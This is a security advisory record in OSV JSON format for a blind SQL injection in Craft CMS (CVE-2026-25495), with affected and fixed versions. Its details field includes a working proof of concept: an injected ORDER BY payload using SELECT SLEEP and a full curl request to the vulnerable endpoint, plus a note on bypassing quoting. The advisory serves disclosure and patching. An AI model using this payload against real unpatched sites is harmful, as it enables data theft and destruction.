{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.21"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.8.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.16.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.16.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25495"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T20:35:41Z",
    "nvd_published_at": "2026-02-09T20:15:58Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.\nAn attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).\n\n\u003e [!NOTE]\n\u003e The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.\n\n---\n## PoC\n### Required Permissions\n\n- Access to the Control Panel\n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)\n3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`\n4. Modify the JSON body to the following:\n```json\n{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(5)) --\"},\"viewState\":{\"static\":false}}\n```\n5. Send the request\n6. Observe a delay in the response (delay = rows \u00d7 sleep time)\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):\n```bash\ncurl --path-as-is -k -X $\u0027POST\u0027 -H $\u0027User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0\u0027 -H $\u0027Accept: application/json\u0027 -H $\u0027Content-Type: application/json\u0027 -H $\u0027X-CSRF-Token: \u003cCSRF-TOKEN\u003e\u0027 -H $\u0027Content-Length: 208\u0027 -b $\u0027\u003cCookie\u003e\u0027 --data-binary $\u0027{\\\"context\\\":\\\"index\\\",\\\"elementType\\\":\\\"craft\\\\\\\\elements\\\\\\\\User\\\",\\\"source\\\":\\\"*\\\",\\\"baseCriteria\\\":{\\\"siteId\\\":1},\\\"criteria\\\":{\\\"limit\\\":100,\\\"orderBy\\\": \\\"(elements.id) DESC, (SELECT SLEEP(0.2)) --\\\"},\\\"viewState\\\":{\\\"static\\\":false}}\u0027 $\u0027http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements\u0027\n```\n\n### Impact\n\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character.\n- **Modify or destroy data** (drop tables, update records, alter schema).\n\n### Root Cause\nThe `orderBy` parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., `(elements.id)`) bypasses internal quoting mechanisms.",
  "id": "GHSA-2453-mppf-46cj",
  "modified": "2026-02-09T22:38:37Z",
  "published": "2026-02-09T20:35:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-2453-mppf-46cj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25495"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/96c60d775c644ff0a0276da52fe29e11d4cd38d2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/4.16.18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/5.8.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`"
}